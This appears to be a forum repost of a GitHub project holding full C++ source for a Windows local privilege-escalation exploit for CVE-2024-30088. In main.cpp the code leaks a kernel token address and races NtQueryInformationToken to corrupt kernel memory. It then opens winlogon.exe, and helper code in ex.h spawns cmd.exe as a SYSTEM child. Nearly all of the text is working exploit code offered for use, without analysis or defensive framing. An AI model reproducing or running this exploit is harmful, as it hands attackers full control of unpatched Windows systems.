GitHub - tykawaii98/CVE-2024-30088
Contribute to tykawaii98/CVE-2024-30088 development by creating an account on GitHub.
main.cpp
C++:
#include <Windows.h>
#include <stdio.h>
#include "ex.h"
///
// Helper stuff for kernel R/W using Nt(Read/Write)VirtualMemory
//
#pragma comment(lib, "ntdll.lib")
#define OFFSET_PID 0x440
#define OFFSET_PROCESS_LINKS 0x448
#define OFFSET_TOKEN 0x4b8
#define OFFSET_KPROCESS 0x220
typedef NTSTATUS(*pNtWriteVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG NumberOfBytesToWrite,
OUT PULONG NumberOfBytesWritten OPTIONAL
);
typedef NTSTATUS(*pNtReadVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
OUT PVOID Buffer,
IN ULONG NumberOfBytesToRead,
OUT PULONG NumberOfBytesReaded OPTIONAL)
;
typedef NTSTATUS NtQueryInformationToken(
HANDLE TokenHandle,
TOKEN_INFORMATION_CLASS TokenInformationClass,
PVOID TokenInformation,
ULONG TokenInformationLength,
PULONG ReturnLength
);
typedef struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
{
ULONG SecurityAttributeCount; //0x0
struct _LIST_ENTRY SecurityAttributesList; //0x4
ULONG WorkingSecurityAttributeCount; //0xc
struct _LIST_ENTRY WorkingSecurityAttributesList; //0x10
} AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION, *PAUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
//
// Global vars
//
NtQueryInformationToken* pQueryInfoToken = 0;
HANDLE hToken;
BYTE* TokenInfo = 0;
DWORD Infolen = 0x1000;
DWORD retlen = 0;
DWORD OffsetToName = 0;
BYTE* RaceAddr = 0;
ULONGLONG kTokenAddr = 0;
void RaceThread() {
ULONGLONG value = kTokenAddr + 0x40 - 4;
for (int i = 0; i < 0x10000; i++) {
*(WORD*)(RaceAddr + 2) = 2;
*(ULONGLONG*)(RaceAddr + 8) = value;
}
}
int main() {
HMODULE ntdll = GetModuleHandleA("ntdll");
pQueryInfoToken = (NtQueryInformationToken*)GetProcAddress(ntdll, "NtQueryInformationToken");
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
kTokenAddr = (ULONGLONG)GetKernelPointerByHandle(hToken);
printf("hToken: %x, kTokenAddr: %p\n", hToken, kTokenAddr);
getchar();
TokenInfo = (BYTE*)VirtualAlloc(0, Infolen, MEM_COMMIT, PAGE_READWRITE);
if (!TokenInfo)
return -1;
NTSTATUS status = pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);
if (status == 0) {
_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes = (_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION*)((_TOKEN_ACCESS_INFORMATION*)TokenInfo)->SecurityAttributes;
if (pSecurityAttributes->SecurityAttributeCount) {
BYTE* Flink = (BYTE*)pSecurityAttributes->SecurityAttributesList.Flink;
if (Flink) {
OffsetToName = Flink + 0x20 - TokenInfo;
printf("Found target offset value: 0x%x\n", OffsetToName);
}
}
}
if (!OffsetToName)
return -1;
RaceAddr = TokenInfo + OffsetToName;
printf("Target address = 0x%llx\n", RaceAddr);
//getchar();
HANDLE hWinLogon = INVALID_HANDLE_VALUE;
ULONG pid = GetPidByName(L"winlogon.exe");
while(1) {
HANDLE h = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)RaceThread, 0, 0, 0);
SetThreadPriority(h, THREAD_PRIORITY_TIME_CRITICAL);
//DebugBreak();
for (int i = 0; i < 5000; i++)
pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);
WaitForSingleObject(h, INFINITE);
hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if (hWinLogon)
break;
}
printf("Got Winlogon handle: 0x%x\n", hWinLogon);
getchar();
CreateProcessFromHandle(hWinLogon, (LPSTR)"C:\\Windows\\system32\\cmd.exe");
CloseHandle(hWinLogon);
CloseHandle(hToken);
return 0;
}
ex.h
C++:
#pragma once
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#define MAXIMUM_FILENAME_LENGTH 255
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemExtendedHandleInformation = 64
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
PVOID GetKernelPointerByHandle(HANDLE HandleValue)
{
HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (query == NULL) {
printf("GetProcAddress() failed.\n");
return 0;
}
ULONG len = 20;
NTSTATUS status = (NTSTATUS)0xc0000004;
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
do {
len *= 2;
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
status = query(SystemExtendedHandleInformation, pHandleInfo, len, &len);
} while (status == (NTSTATUS)0xc0000004);
if (status != (NTSTATUS)0x0) {
printf("NtQuerySystemInformation failed with error code 0x%X\n", status);
return 0;
}
DWORD CurrentPid = GetCurrentProcessId();
for (int i = 0; i < pHandleInfo->HandleCount; i++) {
PVOID object = pHandleInfo->Handles[i].Object;
HANDLE handle = pHandleInfo->Handles[i].HandleValue;
HANDLE pid = pHandleInfo->Handles[i].UniqueProcessId;
if ((DWORD)pid == CurrentPid && handle == HandleValue) {
printf("Found object!\n");
return object;
}
}
return 0;
}
ULONG GetPidByName(const wchar_t* procname) {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
ULONG pid;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (wcscmp(entry.szExeFile, procname) == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
return pid;
}
//
// original from https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6
//
DWORD CreateProcessFromHandle(HANDLE Handle, LPSTR command) {
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size;
BOOL ret;
// Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
0,
size
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &Handle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Finally, create the process
ret = CreateProcessA(
NULL,
command,
NULL,
NULL,
true,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&si),
&pi
);
if (ret == false) {
printf("Error creating new process (%d)\n", GetLastError());
return 3;
}
printf("Enjoy your new SYSTEM process\n");
return 0;
}
Последнее редактирование модератором: